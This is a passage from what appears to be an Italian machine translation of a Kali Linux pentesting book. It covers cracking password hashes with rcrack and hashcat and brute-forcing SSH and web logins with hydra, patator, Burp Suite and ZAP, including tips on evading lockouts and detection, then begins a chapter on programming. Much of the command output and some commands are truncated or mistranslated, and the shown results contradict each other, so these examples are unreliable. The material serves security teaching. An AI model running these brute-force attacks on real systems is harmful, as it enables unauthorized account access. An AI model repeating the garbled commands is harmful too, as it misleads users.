valore di indice a rtgen in modo che sappia come la tabella generata si
adatta allo schema generale. Se si desidera memorizzare tabelle di grandi
dimensioni, è possibile fornire un indice diverso per indicare sezioni
diverse della tabella.
Dovresti creare più tabelle modificando il terzo numero fornito. Quando le
ho eseguite, ho usato 0, 1, 2, 3 e 4 in quella posizione. Ciò aiuterà a fornire
più valori che possono essere ricercati. Solo per questa dimostrazione,
queste sono tabelle molto piccole e non ne abbiamo generate molte.
Una volta create le catene, è necessario ordinarle. Alla fine di tutto questo,
vorremo cercare i valori nella tabella. Questo è più veloce se la tabella è in
ordine. Un altro programma chiamato rtsort gestisce l'ordinamento per
noi. Per eseguirlo, utilizziamo rtsort per indicare dove si trovano le tabelle
che stiamo ordinando. Una volta terminato, la tabella viene archiviata in
/usr/share/rainbowcrack . Il nome del file viene creato in base all'algoritmo
di hashing e al set di caratteri utilizzato. Per i parametri utilizzati in
precedenza, il nome del file generato era sha1_mixalphanumeric#14_0_1000x1000_0.rt .
Infine, ora che abbiamo la nostra tabella, possiamo iniziare a decifrare le
password. Ovviamente, le password lunghe da uno a quattro caratteri non
ci andranno molto bene, ma possiamo comunque provare a usare rcrack
per decifrare le password. Per usare rcrack , abbiamo bisogno dell'hash
della password e delle tabelle rainbow. Secondo l'aiuto fornito
dall'applicazione ( rcrack --help ), il programma supporta il cracking dei file
in formato PWDUMP. Questo è l'output ottenuto usando una delle varianti
del programma pwdump.exe su un sistema Windows. Questo è un
programma che può scaricare il SAM dalla memoria su un sistema
Windows in esecuzione o dai file di registro.
L'esempio 9-10 mostra l'uso di rcrack con un valore hash, usando le tabelle
rainbow create in precedenza. Una cosa che noterete durante questa
esecuzione è che ho indicato che voglio usare la directory corrente come
posizione per le tabelle rainbow.
In realtà, le tabelle rainbow si trovano, come notato in precedenza, in
/usr/share/rainbowcrack . Noterete che, nonostante la password fosse una
semplice aaaa con solo quattro caratteri, che rientra nell'ambito di ciò che
abbiamo creato, rcrack non ha trovato la password.
Esempio 9-10. Utilizzo di rcrack con tabelle rainbow
┌──(kilroy@portnoy)-[~]
└─$ echo 'aaaa' | sha1sum 7bae8076a5771865123be7112468b79e9d78a640 ┌──(kilroy@portnoy)-[~]
└─$ sudo rcrack . -h 7bae8076a5771865123be7112468
Trovate 5 tabelle arcobaleno
memoria disponibile: 25587266355 byte memoria per
attraversamento catena rainbow: 16000 byte pe
memoria per buffer tabella rainbow: 5 x 16016
byte disco: ./sha1_mixalpha-numeric#14_0_1000x1000_0. disco: ./sha1_mixalphanumeric#1-4_1_1000x1000_0. disco:
./sha1_mixalpha-numeric#1-4_2_1000x1000_0. disco:
./sha1_mixalpha-numeric#1-4_3_1000x1000_0. disco:
./sha1_mixalpha-numeric#1-4_4_1000x1000_0. disco:
lettura di tutti i file completata
statistiche ---------------------------------------------testo in chiaro trovato: 0 del tempo
totale: 0,09 tempo di attraversamento della
catena: 0,09 tempo di controllo dell'allarme: 0,00
tempo di lettura del disco: 0,00 calcolo hash e
riduzione dell'attraversamento della catena: 2495
calcolo
hash
e
riduzione
del
controllo
dell'allarme:
511
numero
di
allarmi:
161
prestazioni dell'attraversamento della catena:
28,3 prestazioni del controllo dell'allarme: 25,5
risultato ---------------------------------------------7bae8076a5771865123be7112468b79e9d78a640 <not for
rcrack si aspetta un hash SHA1 quando si fornisce il valore tramite h . Il
tentativo di un valore hash MD5 genererà un errore che indica che non
sono stati trovati 20 byte di valore hash. Il valore hash MD5 sarebbe di 16
byte perché la lunghezza è di 128 bit. Un valore hash SHA1 fornisce 20
byte perché è lungo 160 bit. Si noterà inoltre che nell'esecuzione di rcrack
su un file generato da pwdump7.exe su un Windows Server 2003, il
programma non è stato in grado di individuare nulla che abbia trovato
come valore hash. In un file PWDUMP, si otterranno sia hash LM che hash
NTLM.
In questo caso, poiché le tabelle erano così piccole, non abbiamo ottenuto
alcun risultato. Come per qualsiasi cracking di password, se la password
non è nella fonte che stai controllando, che si tratti di un elenco di parole o
di una tabella rainbow, non otterrai alcun risultato. L'unico modo per
garantire una password è usare un attacco in cui provi tutte le possibili
combinazioni, ma è incredibilmente dispendioso in termini di tempo, date
tutte le variabili, dal set di caratteri alla lunghezza. Se hai molto spazio su
disco, puoi generare molte catene di tabelle rainbow, e questo aumenterà
il potenziale di successo del tuo cracking.
HashCat
Il programma hashcat è un programma esteso di cracking delle password,
che può acquisire hash delle password da molti dispositivi. Può acquisire
elenchi di parole come fa john , ma hashcat sfrutta la potenza di
elaborazione aggiuntiva di un sistema. Mentre john utilizzerà la CPU per
eseguire calcoli hash, hashcat sfrutterà la potenza di elaborazione
aggiuntiva delle GPU. Come con altri programmi di cracking delle
password, questo programma utilizza elenchi di parole. Tuttavia, l'utilizzo di
risorse di elaborazione aggiuntive consente a hashcat di funzionare molto
più rapidamente, consentendo di ottenere password da un'azienda in un
periodo di tempo più breve. L'esempio 9-11 mostra un esempio di utilizzo
di hashcat per decifrare i valori hash dal sistema Windows compromesso in
precedenza. Su un sistema Linux, puoi utilizzare il comando cut per estrarre
il campo dall'hash dump in questo modo: cat hashvalues.txt | cut -f 4 -d : >
hashes.txt . Questo taglia il quarto campo in cui è archiviato il valore hash.
Una volta ottenuti gli hash, puoi eseguire hashcat .
Esempio 9-11. Utilizzo di hashcat su una password di Windows
scarico
┌──(kilroy@portnoy)-[~] └─$ hashcat -m 3000 -D 1
~/hashvalues.txt ~/rock hashcat (v6.2.6) avvio
Rilevata riga sovradimensionata! Troncati 13 byte
API OpenCL (OpenCL 3.0 PoCL 4.0+debian Linux, n
LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) Piattaforma
=================================================
* Dispositivo n. 1: cpu-haswell-Intel(R) Core(TM)
i5-102
14847/29758 MB (4096 MB allocabili), 8 MCU
Hashfile '/root/hashvalues.txt' sulla riga 2 (NO
PAS
Eccezione di codifica hash
Hashfile '/root/hashvalues.txt' sulla riga 3 (NO
PAS
Eccezione di codifica hash
Hashfile '/root/hashvalues.txt' alla riga 10 (NO
PA
Eccezione di codifica hash
Hash: 36 digest; 31 digest univoci, 1 s univoco
Bitmap: 16 bit, 65536 voci, maschera 0x0000ffff
Regole: 1
Ottimizzatori applicabili:
* Byte zero
* Precompute-Final-Permutation
* Non-iterato
* Monosale
Lunghezza minima della password: 0
Lunghezza massima della password: 7
Watchdog: Interfaccia di monitoraggio hardware
non trovata Watchdog: Trigger di interruzione
della temperatura disabilitato.
Watchdog: il trigger di mantenimento della
temperatura è disabilitato.
Cache del dizionario creata:
* Nome file..: /root/rockyou
* Password.: 27181943
* Byte.....: 139921507
* Spazio chiave..: 27181943
* Durata...: 5 secondi
- Dispositivo n. 1: kernel-accel autoregolato a
256
- Dispositivo n. 1: kernel-loop autoregolati a 1
[s]stato [p]ausa [r]iprendi [b]pass [c]heckpoint
[s]stato [p]ausa [r]i
4a3b108f3fa6cb6d:D
921988ba001dc8e1:P@SSW0R
b100e9353e9fa8e8:CAMPIONE
31283c286cd09b63:ION
f45d978722c23641:TON
25f1b7bb4adf0cf4:PERNO DI STERZO
Sessione..........: hashcat
Stato...........: Esaurito
Modalità hash........: 3000 (LM)
Hash.Target......: /home/kilroy/hashes.txt
Ora.Inizio.....: gio 21 dic 18:46:37 2023 (2 se
Tempo stimato...: gio 21 dic 18:46:39 2023 (0 se
Kernel.Feature...: Kernel puro
Guess.Base.......: File (/home/kilroy/rockyou.txt
Indovina.Coda......: 1/1 (100,00%)
Velocità.#1.........: 7203,8 kH/s (0,41 ms) @
Accel
Recuperati........: 0/36 (0,00%) Digest (totale),
Avanzamento.........: 14344394/14344394 (100,00%)
Rifiutato.........: 0/14344394 (0,00%)
Punto di ripristino....: 14344394/14344394
(100,00%)
Ripristina.Sub.#1...: Sale:0 Amplificatore:0-1
Iterazione
Candidate.Engine.: Generatore di dispositivi
Candidati.#1....: $HEX[204c4f56454c59] -> $HEX[0
Hardware.Mon.#1..: Temp: 65c Utilità: 50%
Iniziato: gio 21 dic 18:46:08 2023
Interrotto: gio 21 dic 18:46:40 2023
Gli hash che vengono violati sono hash LM. Quando gli hash vengono
archiviati in Windows SAM, vengono archiviati sia in formato LM che
NTLM. Per eseguire hashcat , è necessario estrarre solo il campo hash. Per
farlo, ho eseguito cat hashes.txt | cut -f 3 -d : > h ashvalues.txt , che ha
estratto solo il terzo campo e ha archiviato il risultato nel file hashvalues.txt
. Per eseguire hashcat , tuttavia, sono necessari alcuni moduli specifici per
utilizzare risorse di elaborazione aggiuntive. Le funzioni della libreria di
elaborazione aperta (OpenCL) sono utilizzate da hashcat e tali moduli
devono essere compilati per visualizzare un processo di compilazione
prima che inizi il cracking.
NOTA
Nei risultati, vedrai quello che sembra un set di password parziali. Il motivo è che sono hash LM. Le
password LM sono state suddivise in blocchi di sette caratteri. Ciò che vedi sono hash basati su quei
blocchi di sette caratteri.
Alla fine, oltre a vedere le password che sono state violate, vedrai delle
statistiche. Questo indica il numero di password che sono state provate,
quanto tempo ci è voluto e il numero di tentativi di violare riusciti. Questa
esecuzione è stata eseguita su una VM che non includeva la propria GPU,
quindi non abbiamo ottenuto alcuna accelerazione da quell'approccio. Se
hai hardware che ha una GPU, tuttavia, dovresti vedere prestazioni migliori
da hashcat rispetto ad altri strumenti di violare le password.
Cracking online
Finora, abbiamo avuto a che fare con singoli valori hash o con un file di
hash estratti dai sistemi tramite strumenti di cracking offline. Ciò richiede
un certo livello di accesso al sistema per estrarre gli hash delle password. In
alcuni casi, tuttavia, semplicemente non avrai accesso. Potresti non essere
in grado di trovare un exploit che ti dia i permessi di livello root necessari
per ottenere gli hash delle password. Tuttavia, potrebbero essere in
esecuzione servizi di rete che richiedono l'autenticazione. Kali Linux è
dotato di alcuni programmi che possono essere utilizzati per eseguire
attacchi brute-force simili contro tali servizi come abbiamo fatto con gli
altri attacchi di cracking delle password. Una differenza è che non abbiamo
bisogno di eseguire l'hash di alcuna password per portare a termine
l'attacco.
Quando si tratta di cracking online delle password di servizio, l'obiettivo è
continuare a inviare richieste di autenticazione al servizio remoto,
cercando di ottenere un'autenticazione riuscita. Una sfida significativa con
questo tipo di attacco è che è rumoroso. Invierai potenzialmente centinaia
di migliaia di messaggi attraverso la rete tentando di effettuare l'accesso.
Questo è destinato a essere rilevato. Inoltre, è abbastanza comune che i
servizi autenticati abbiano blocchi dopo più fallimenti successivi. Ciò ti
rallenterà notevolmente perché dovrai fare una pausa mentre il blocco
scade, supponendo che lo faccia. Se l' account viene bloccato solo finché
un amministratore non lo sblocca, ciò aumenterà le possibilità di essere
rilevato, perché nel processo di sblocco, l'amministratore dovrebbe
indagare sul motivo per cui è stato bloccato per iniziare.
Nonostante le sfide che derivano dagli attacchi brute-force sulla rete, vale
comunque la pena di lavorare con gli strumenti disponibili. Non si sa mai
quando potrebbero essere utili, se non altro per generare molto traffico
per mascherare un altro attacco in corso.
Idra
Hydra prende il nome dal mitico serpente a più teste che Ercole era
incaricato di uccidere. Ciò è rilevante perché anche lo strumento Hydra è
considerato dotato di più teste. È multithread perché più thread significano
più richieste simultanee, il che si spera porterà a un accesso più rapido e
riuscito. Detto questo, sarà anche un po' più rumoroso di qualcosa che
procede lentamente. Considerando che gli accessi non riusciti vengono
probabilmente registrati e probabilmente monitorati, migliaia di persone
che compaiono in pochi secondi faranno sì che qualcuno se ne accorga. Se
non c'è alcun meccanismo di blocco, tuttavia, potrebbe esserci qualche
vantaggio nell'andare più veloce. Più vai veloce, meno è probabile che gli
umani che monitorano l'attività siano in grado di rispondere a ciò che ti
vedono fare.
Quando lavori sul cracking remoto delle password, considera che stai
tenendo conto di due dati: il nome utente e la password. Potresti voler
dare per scontato di conoscere il nome utente che stai prendendo di mira.
Devi solo testare la password. Ciò richiede di passare un elenco di parole a
hydra .
L'esempio 9-12 mostra una serie di hydra con l' elenco di parole rockyou .
Noterai che il target è formattato usando un formato URL. Specifichi l'URI,
il servizio, seguito dall'indirizzo IP o dall'hostname. La differenza tra i due
parametri per username e password si basa sul fatto che tu stia usando un
elenco di parole o un singolo valore. La l minuscola è usata per un ID di
accesso che ha un singolo valore. La P maiuscola indica che stiamo
ottenendo la password da un elenco di parole.
Esempio 9-12. Utilizzo di Hydra su un server SSH
┌──(kilroy@badmilo)-[~]
└─$ hydra -l kilroy -P rockyou.txt ssh://192.168
Hydra v9.5 (c) 2023 di van Hauser/THC & David Mac
organizzazioni militari o di servizi segreti, o
per non vincolanti, queste *** ignorano le leggi
e l'etica qualsiasi
Hydra (https://github.com/vanhauser-thc/thc-hydra
[ATTENZIONE] Molte configurazioni SSH limitano il
numero consigliato per ridurre le attività:
utilizzare -t 4 [DATA] max 16 attività per 1
server, 16 attività totali
(l:1/p:14344399), ~896525 tentativi per attività
[DATI] attacco ssh://192.168.4.8:22/
Questa volta, l'attacco alla password è contro il servizio SSH, ma non è
l'unico servizio supportato da Hydra . Puoi usare Hydra contro uno
qualsiasi dei servizi mostrati come supportati nell'Esempio 9-13 . Vedrai
anche che alcuni dei servizi hanno delle varianti. Ad esempio, l'esecuzione
di attacchi di accesso contro un server SMTP può essere eseguita senza
crittografia oppure tramite messaggi crittografati, che è la differenza tra
SMTP e SMTPS. Vedrai anche che HTTP supporta un servizio crittografato e
consente sia a GET che a POST di eseguire l'accesso.
Esempio 9-13. Servizi supportati da Hydra
Servizi supportati: adam6500 asterisk cisco cisco
ftp[s] http[s]-{head|get|post} http[s]-{get|post}
http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3
mongodb mssql mysql nntp oracle-listener oracle-s
postgres radmin2 rdp redis rexec rlogin rpcap rsh
smtp-enum snmp socks5 ssh sshkey svn teamspeak te
Quando inizi a provare a decifrare le password usando un elenco di parole
sia per il nome utente che per la password, inizi ad aumentare
esponenzialmente il numero di tentativi. Considera che l' elenco di parole
rockyou ha più di 14 milioni di voci. Se fai delle ipotesi di tutte quelle
password contro anche 10 nomi utente, passi da 14 milioni a 140 milioni.
Tieni anche presente che rockyou non è un elenco di parole esteso.
Patatore
Un altro programma che possiamo usare per fare lo stesso tipo di cosa che
stavamo facendo con hydra è patator . Questo è un programma che
include moduli per servizi specifici. Per testare su quei servizi, esegui il
programma usando il modulo e fornisci parametri per l'host e i dettagli di
accesso. L'esempio 9-14 mostra l'inizio di un test su un altro server SSH.
Chiamiamo patator con il nome del modulo, ssh_login . Dopo di che,
dobbiamo indicare l'host. Successivamente, vedrai parametri per utente e
password. Noterai che al posto di un semplice nome utente e password, i
parametri sono FILE0 e FILE1 . Se vuoi usare elenchi di parole, indica il
numero del file e poi devi passare il nome del file come parametro
numerato.
Esempio 9-14. Patator in esecuzione
┌──(kilroy@badmilo)-[~]
└─$ patator ssh_login host=192.168.4.8
utente=FILE0
1=rockyou.txt /usr/bin/patator:2658:
DeprecationWarning: 'telne per la rimozione in
Python 3.13 da telnetlib import Telnet 19:00:44
patator INFO - Avvio di Patator 1.0 ↩
(https://github.com/lanjelot/patator) con python3.11.6 il 21-12-2023 19:00 EST 19:00:45 patator
INFO 19:00:45 patator INFO - codice dimensione tempo |
candid
19:00:45 patatore INFO - ----------------------19:00:47 patator INFO - 1 22 2.168 | killroy
19:00:47 patator INFO - 1 22 2.169 | killroy
19:00:47 patator INFO - 1 22 2.169 | killroy
19:00:47 patator INFO - 1 22 2.169 | killroy
19:00:47 patator INFO - 1 22 2.169 | killroy
19:00:47 patator INFO - 1 22 2.170 | killroy
19:00:47 patator INFO - 1 22 2.169 | killroy
19:00:47 patator INFO - 1 22 2.169 | killroy
19:00:47 patator INFO - 1 22 2.152 | killroy
Puoi vedere che usando patator , otteniamo tutti i messaggi di errore.
Mentre questo ti mostra l'avanzamento del programma, sarà più difficile
trovare i successi se stai guardando milioni di messaggi di errore.
Fortunatamente, possiamo occuparcene. patator fornisce la capacità di
creare regole, dove specifichi una condizione e un'azione da eseguire
quando tale condizione è soddisfatta.
Utilizzando questo, possiamo dire a patator di ignorare i messaggi di
errore che stiamo ricevendo. L'esempio 9-15 mostra lo stesso test di
prima, ma con l'aggiunta di una regola per ignorare i messaggi di errore di
autenticazione. Il parametro -x dice a patator di escludere l'output che
include la frase "Authentication failed".
Esempio 9-15. Utilizzo di patator con la regola ignore
┌──(kilroy@badmilo)-[~]
└─$ patator ssh_login host=192.168.4.8
utente=FILE0
1=rockyou.txt -x ignore:fgrep='Autenticazione
fallita /usr/bin/patator:2658:
DeprecationWarning: 'telne per la rimozione in
Python 3.13 da telnetlib import Telnet 19:03:33
patator INFO - Avvio di Patator 1.0 ↩
(https://github.com/lanjelot/patator) con python
19:03:33 patator INFO 19:03:33 patator INFO - dimensione codice tempo |
c
19:03:33 patatore INFO - --------------------^C19:03:57 patator INFO Risultati/Fatto/Salta/Non riuscito/
Media: 3 r/s, Tempo: 0h 0m 24s
19:03:57 patator INFO - Per riprendere
l'esecuzione, p
Questa esecuzione è stata annullata. Dopo un momento, l'esecuzione si è
fermata e patator ci ha presentato le statistiche di ciò che è stato fatto.
Abbiamo anche la possibilità di riprendere l'esecuzione passando --resume
come parametro della riga di comando a patator . Se dovessi fermarmi per
qualche motivo ma volessi riprenderla, non dovrei ricominciare dall'inizio
delle mie liste. Invece, patator sarebbe in grado di riprendere perché ha
mantenuto uno stato. Questa è anche una cosa che hydra potrebbe fare
bene come ha fatto john in precedenza.
Come hydra , patator utilizzerà i thread. Infatti, puoi specificare il numero
di thread da aumentare o diminuire, in base a ciò che vuoi realizzare.
Un'altra utile caratteristica di patator è la possibilità di indicare se vuoi
ritardare tra i tentativi. Se ritardi, potresti avere maggiori possibilità di
evitare il rilevamento. Potresti anche essere in grado di saltare alcuni
rilevamenti che possono essere attivati in base al numero di richieste o
errori in un periodo di tempo. Ovviamente, più ritardo usi, più lungo sarà il
tentativo di cracking della password.
Cracking basato sul Web
Le applicazioni Web possono fornire un modo per accedere a dati critici.
Possono anche fornire punti di accesso al sistema operativo sottostante se
utilizzate o utilizzate in modo improprio nel modo giusto. Di conseguenza,
decifrare le password nelle applicazioni Web può essere essenziale per i
test che potresti essere stato incaricato di eseguire. Oltre a strumenti come
Hydra che possono essere utilizzati per il deciframento delle password,
altri strumenti sono più comunemente utilizzati per i test complessivi delle
applicazioni Web. Due buoni strumenti installati in Kali Linux possono
essere utilizzati per eseguire attacchi brute-force alle password sulle
applicazioni Web.
Il primo programma da guardare è la versione di Burp Suite fornita con Kali.
È disponibile una versione professionale di Burp Suite, ma le funzionalità
limitate fornite nella versione che abbiamo a disposizione sono sufficienti
per eseguire gli attacchi alle password. La prima cosa che dobbiamo fare è
trovare la pagina che invia la richiesta di accesso. La Figura 9-3 mostra la
scheda Target con la richiesta selezionata. Questa include i parametri email
e password . Questi sono i parametri che andremo a variare e lasceremo
che Burp Suite li esegua per noi.
Figura 9-3. Selezione dell'obiettivo Burp Suite
Una volta selezionata la pagina, possiamo inviarla all'Intruder. Questa è
un'altra sezione dell'applicazione Burp Suite. Facendo clic con il pulsante
destro del mouse sulla pagina nel target nel riquadro di sinistra e
selezionando Invia a Intruder, verrà popolata una scheda in Intruder con la
richiesta e tutti i parametri. Intruder identifica tutto ciò che può essere
manipolato, inclusi i campi di intestazione e i parametri che verranno
passati all'applicazione. I campi vengono identificati in modo che possano
essere manipolati in seguito. Una volta contrassegnate le posizioni su cui
vogliamo eseguire un attacco brute-force, passiamo a indicare il tipo di
attacco che vogliamo utilizzare e quindi i valori da utilizzare. La Figura 9-4
mostra la scheda Payload, dove utilizzeremo il brute-forcer. In questo caso,
utilizzeremo il brute-forcer sulla password. Se vuoi, puoi anche utilizzare il
brute-forcer sul nome utente. Dovrai selezionare Pitchfork o Cluster Bomb
come tipo di attacco se vuoi avere più payload. Se si intende utilizzare un
solo payload, ad esempio se si ha un solo nome utente e si vuole forzare la
password, si può ricorrere all'attacco Sniper.
Figura 9-4. Brute-force di nomi utente e password in Burp Suite
Burp Suite ci consente di selezionare il set di caratteri che vogliamo usare
per generare le password. Possiamo anche usare le funzioni di
manipolazione fornite da Burp Suite. Queste funzioni sono più utili se si
inizia con elenchi di parole, poiché probabilmente si desidera storpiare
quelle parole. È meno utile, forse, manipolare le password generate in un
attacco brute-force perché si dovrebbero ottenere tutte le password
possibili entro i parametri forniti: set di caratteri e lunghezze minima e
massima.
Burp Suite non è l'unico prodotto che può essere utilizzato per generare
attacchi di password contro siti Web. ZAP può anche eseguire attacchi di
fuzzing, il che significa che invierà continuamente dati di input variabili
all'applicazione. La necessità di selezionare la richiesta con i parametri in
essa contenuti esiste in ZAP, come in Burp Suite. Una volta ottenuta la
richiesta e il parametro che si desidera sottoporre a fuzzing, si fa clic con il
pulsante destro del mouse sul parametro selezionato e si seleziona Fuzzer.
Questo apre una finestra di dialogo che chiede di selezionare come si
desidera modificare il valore del parametro. La Figura 9-5 mostra le finestre
di dialogo che si aprono per selezionare i valori del payload che ZAP deve
inviare.
Figura 9-5. Attacco fuzzing ZAP
ZAP fornisce tipi di dati che possono essere inviati o creati. Ciò che vedi
nella Figura 9-5 è la selezione del file in cui, di nuovo, useremo rockyou.txt
. Ciò consente a ZAP di modificare il parametro con tutti i valori nel file
rockyou.txt . Puoi selezionare più set di payload, in base al numero di
parametri con cui stai lavorando. Nella pagina login.php con cui stiamo
lavorando, ci sono due parametri. Uno è per il nome utente e uno è per la
password. Potresti lavorare con entrambi se necessario.
Questi due programmi sono basati su GUI. Mentre puoi usare alcuni degli
altri strumenti che abbiamo esaminato per decifrare le password basate
sul web, a volte è più facile selezionare i parametri di cui hai bisogno
usando uno strumento basato su GUI piuttosto che un programma a riga di
comando. Certamente è possibile, ma vedere la richiesta e selezionare i
parametri da usare, così come i set di dati che stai per passare, può essere
più facile da fare in uno strumento come ZAP o Burp Suite. Alla fine, si
tratta sempre di fare ciò che funziona meglio per te e non è che non hai
una scelta di strumenti. Devi solo selezionarne uno che funzioni meglio per
il tuo modo di lavorare. Ovviamente, come con qualsiasi altro tipo di test,
eseguire più strumenti con più tecniche probabilmente ti darà il risultato
migliore.
Riepilogo
Non ti verrà sempre chiesto di decifrare le password se stai eseguendo un
test di penetrazione. Spesso ciò avviene per motivi di conformità, per
garantire che gli utenti utilizzino password complesse. Decifrare le
password per un test di penetrazione avrà un impatto sulle operazioni,
poiché la password decifrata dovrà essere modificata dall'utente. Alcune
aziende non vorranno avere un impatto sui propri utenti in questo modo.
Tuttavia, se hai bisogno di decifrare alcune password, Kali ha potenti
strumenti che puoi utilizzare, inclusi sia per il deciframento delle password
offline che per il deciframento delle password online. Offline funziona
localmente da un dump hash, mentre online funziona contro i servizi, in
genere su una rete. Ecco alcuni concetti chiave da trarre da questo
capitolo:
Metasploit può essere utile per raccogliere password da decifrare offline.
Avere file di password in locale ti dà il tempo di decifrarli utilizzando varie
tecniche.
John the Ripper può essere utilizzato per decifrare le password tramite le
tre modalità supportate.
Le tabelle rainbow funzionano precalcolando i valori hash.
È possibile creare tabelle arcobaleno utilizzando i set di caratteri necessari.
Le tabelle rainbow, e in particolare rcrack , possono essere utilizzate per
decifrare le password.
Eseguire attacchi brute-force contro servizi remoti usando strumenti come
hydra e patator può aiutare a ottenere password da remoto. Usare
strumenti basati su GUI per decifrare le autenticazioni basate sul web può
anche farti ottenere nomi utente e password.
Risorse utili
“Hash di esempio” sul wiki di hashcat
Elenco delle pagine web di Rainbow Tables di RainbowCrack
Objectif Sécurité, tavoli Free XP Rainbow
Generazione e ordinamento della tabella arcobaleno pagina web per
Crepa arcobaleno
"Creare un compromesso più rapido tra tempo e memoria crittografica "
di
Filippo Oechslin
Tavoli arcobaleno gratuiti, sito web Tavoli arcobaleno gratuiti
Capitolo 10. Tecniche e concetti avanzati
Sebbene Kali abbia un vasto numero di strumenti disponibili per eseguire
test di sicurezza, a volte è necessario fare qualcosa di diverso dalle
scansioni e dai test automatici e predefiniti offerti dagli strumenti. Essere
in grado di creare strumenti ed estendere quelli disponibili ti distinguerà
come tester. I risultati della maggior parte degli strumenti dovranno essere
verificati in qualche modo per distinguere i falsi positivi dai problemi reali.
Puoi farlo manualmente, ma a volte potresti aver bisogno o volerlo
automatizzare solo per risparmiare tempo. Il modo migliore per farlo è
scrivere programmi che facciano il lavoro per te. L'automazione delle tue
attività fa risparmiare tempo. Ti obbliga anche a pensare a cosa stai
facendo e a cosa devi fare in modo da poterlo scrivere in un programma. In
sostanza, devi sapere qual è il processo o il piano prima di poterlo
automatizzare.
Imparare a programmare è un compito impegnativo. Non parleremo di
come scrivere programmi qui. Invece, otterrai una migliore comprensione
di come la programmazione si collega alle vulnerabilità. Inoltre, parleremo
di come funzionano i linguaggi di programmazione e di come alcune di
quelle funzionalità vengono sfruttate.
In questo modo, avrai un piccolo assaggio di cosa significa scrivere un
programma.
Gli exploit sono in ultima analisi creati per sfruttare gli errori del software.
Per capire come funzionano i tuoi exploit e, forse, perché non funzionano,
è importante capire come sono costruiti i programmi e come il sistema
operativo li gestisce. Senza questa comprensione, stai sparando alla cieca.
Credo molto nel sapere perché o come funziona qualcosa piuttosto che
semplicemente dare per scontato che funzionerà. Non tutti hanno questa
filosofia o interesse, ovviamente, e va bene così. Tuttavia, saperne di più a
un livello più profondo ti renderà, si spera, migliore in quello che fai. Avrai
la conoscenza per fare i prossimi passi.
Naturalmente, non devi scrivere tutti i tuoi programmi da zero. Sia Nmap
che Metasploit ti danno un grande vantaggio facendo gran parte del lavoro
pesante. Di conseguenza, puoi iniziare con i loro framework ed estendere
le loro funzionalità per eseguire le azioni che desideri o di cui hai bisogno.
Ciò è particolarmente vero quando hai a che fare con qualcosa di diverso
dai prodotti commerciali off-the-shelf (COTS). Se un'azienda ha sviluppato il
proprio software con il proprio modo di comunicare attraverso la rete,
potresti dover scrivere moduli in Nmap o Metasploit per sondare o
sfruttare quel software. Sebbene estendere questi strumenti sia più facile
se sai programmare, molto del lavoro è già stato fatto e potresti essere in
grado di fare ciò di cui hai bisogno senza sapere molto di programmazione.
Nozioni di base sulla programmazione
Puoi prendere migliaia di libri sulla scrittura di programmi. Innumerevoli siti
web e video possono guidarti attraverso i fondamenti della scrittura di
codice in qualsiasi linguaggio. L'idea importante da cui partire non è
necessariamente come scrivere in un dato linguaggio. Questo ti aiuterà a
capire dove vengono introdotte le vulnerabilità e come funzionano. La
programmazione non è un'arte magica o arcana, dopotutto. Ha regole
note, incluso il modo in cui il codice sorgente viene convertito in qualcosa
che il computer può capire.
I programmi sono generalmente scritti in qualcosa di più comprensibile per
gli umani rispetto al codice macchina, sebbene diversi linguaggi di
programmazione offrano diversi livelli di leggibilità. Il codice macchina è
qualcosa che il computer stesso può comprendere. Questa è una serie di
numeri che si riferiscono alle funzioni che il processore ha a bordo, insieme
ai valori che la funzione utilizzerà. È binario ma spesso rappresentato in
esadecimale. Abbiamo bisogno di un modo per convertire il codice
sorgente nel codice macchina in modo che il processore possa eseguirlo.
Esamineremo tre approcci qui, sebbene generalmente il linguaggio
selezionato utilizzerà uno degli approcci (compilato, interpretato e
intermedio) e non uno degli altri. In alcuni casi, ad esempio, è possibile
convertire un linguaggio interpretato in un eseguibile compilato, ma il
linguaggio stesso è stato progettato per essere interpretato. Non
confonderemo le cose entrando troppo nei dettagli.
Una volta compresi gli approcci per rendere il codice sorgente eseguibile,
possiamo parlare dei modi in cui il codice può essere sfruttato, ovvero
quando il programma presenta vulnerabilità che possono essere sfruttate
per ottenere risultati che in origine non erano previsti per il programma.
Linguaggi compilati
La compilazione è il processo di prendere il codice sorgente e ottenere il
codice macchina che il sistema può eseguire. Cominciamo con un semplice
programma per spiegare completamente il processo. Lavoreremo con un
linguaggio che potresti riconoscere se hai mai visto il codice sorgente di un
programma prima. Il linguaggio C, sviluppato alla fine degli anni '60
insieme a Unix (Unix è stato infine scritto in C perché il linguaggio è stato
sviluppato per scrivere il sistema operativo), è una base comune per molti
linguaggi di programmazione odierni. Perl, Python, C++, C#, Java e Swift
provengono tutti dalla base di base del linguaggio C in termini di come è
costruita la sintassi. C è probabilmente il linguaggio compilato più comune
che incontrerai. Ce ne sono altri, ma sarà meno probabile vederli.
Per iniziare, dobbiamo parlare dei pezzi di software utilizzati per portare a
termine la compilazione. Per prima cosa, potremmo avere un
preprocessore. Il preprocessore esamina tutto il codice sorgente e fa delle
sostituzioni come indicato dalle istruzioni nel codice sorgente. Una volta
che il preprocessore ha completato, il compilatore esegue l'operazione,
controllando la sintassi del codice sorgente man mano che procede. Se ci
sono errori, verranno mostrati, indicando dove il codice sorgente deve
essere corretto. Una volta che non ci sono errori, il compilatore emetterà il
codice oggetto.
Il codice oggetto è codice operativo grezzo. Di per sé, non può essere
eseguito dal sistema operativo, anche se tutto ciò che contiene è espresso
in un linguaggio comprensibile per la CPU. I programmi devono essere
racchiusi in modi particolari; hanno bisogno di direttive per il loader nel
sistema operativo che indichino quali parti sono dati e quali parti sono
codice. Per creare il programma finale, è necessario un linker. Il linker
prende tutti i possibili file oggetto, poiché potremmo aver creato il nostro
eseguibile da decine di file di codice sorgente che devono essere tutti
combinati, e li combina in un singolo eseguibile.
Il linker è anche responsabile di prendere qualsiasi funzione di libreria
esterna e di inserirla, se c'è qualcosa che stiamo usando e che non
abbiamo scritto. Ciò presuppone che i moduli esterni vengano usati
staticamente (inseriti nel programma durante la fase di
compilazione/collegamento) piuttosto che dinamicamente (caricati nello
spazio del programma in fase di esecuzione). Il risultato del linker dovrebbe
essere un programma eseguibile che possiamo eseguire.
MANCIA
La sintassi nei linguaggi di programmazione è la stessa della sintassi nei linguaggi parlati e scritti. La
sintassi è la regola su come si esprime il linguaggio. Ad esempio, nella lingua inglese, utilizziamo
sintagmi nominali combinati con sintagmi verbali per creare una frase che può essere facilmente
analizzata e compresa. Ci sono delle regole che segui, probabilmente inconsapevolmente, per
assicurarti che ciò che scrivi o persino dici sia comprensibile ed esprima ciò che intendi. Lo stesso vale
